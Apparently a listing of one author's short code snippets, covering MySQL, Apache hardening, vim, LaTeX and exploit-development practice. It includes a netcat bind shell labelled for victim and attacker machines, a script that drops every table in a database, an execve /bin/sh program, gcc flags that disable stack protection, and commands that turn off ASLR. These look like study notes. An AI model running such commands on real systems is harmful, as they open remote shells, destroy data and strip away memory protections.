EdoardoVignati

# Just copy the following lines changing [databasename] and execute it.

SELECT CONCAT('DROP TABLE ', GROUP_CONCAT(table_name SEPARATOR ',')) 
        AS delete_stmt INTO @query 
        FROM information_schema.tables  WHERE table_schema = '[databasename]';
PREPARE stmt_drop FROM @query;
EXECUTE stmt_drop;

EdoardoVignati

Open the web server config file:
-------------------------------------
$ sudo vi /etc/apache2/apache2.conf

Add (or edit) this line to hide apache info:
-----------------------------------------------
ServerSignature Off

Add (or edit) this line to hide PHP 
verion in HTTP response header :

EdoardoVignati

## Disable ctrl-s of terminal. Add the folowing line to ~/.bashrc
stty stop undef

## Copy the following lines in ~/.vimrc
nnoremap <c-s> :w<CR>
inoremap <c-s> <Esc>:w<CR>
vnoremap <c-s> <Esc>:w<CR>

## If you don't want to add these lines, remember that you
## can exit from freezed terminal (ctrl-s) using ctrl-q

EdoardoVignati

# On victim machine
mkfifo /tmp/mypipe; cat /tmp/mypipe|/bin/bash 2>&1|nc -l 4499 >/tmp/mypipe

# On attacker machine
nc -nv VICTIM-IP 4499

EdoardoVignati

\usepackage{graphicx}
\usepackage{float}


\begin{figure}[H]
    \centering
      \makebox[\textwidth][c]{\includegraphics[width=1.0\textwidth]{/path/to/img}}
      \caption{Description}\label{fig:label}
\end{figure}

EdoardoVignati

#!/usr/bin/env python

# This code allow you to generate the assembly instruction
# for shellcodes with execve. Giving in input a command (ex /bin/sh)
# it generates the corresponding push instructions in AT&T assembly.

import sys
import os
list_ofcmd=[]
def getCode(push_instr):

EdoardoVignati

# Compile in "static" mode (for buffer overflow)
$ gcc -g -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

# -g : debug options
# -fno-stack-protector : remove protections of the stack
# -z execstack : set stack executable
# -mpreferred-stack-boundary=2 : align stack pointer on dword boundary

EdoardoVignati

#include <stdio.h>

int main(){

        char *cmd[]={"/bin/sh", NULL};
        execve(cmd[0], cmd, NULL);

return 1;
} 

EdoardoVignati

#################
# How to run	#
#################
# $ as --gstabs read.s -o read.o
# $ ld read.o -o read
# $ ./read
################

.text

EdoardoVignati

# Disable #
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Enable #
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space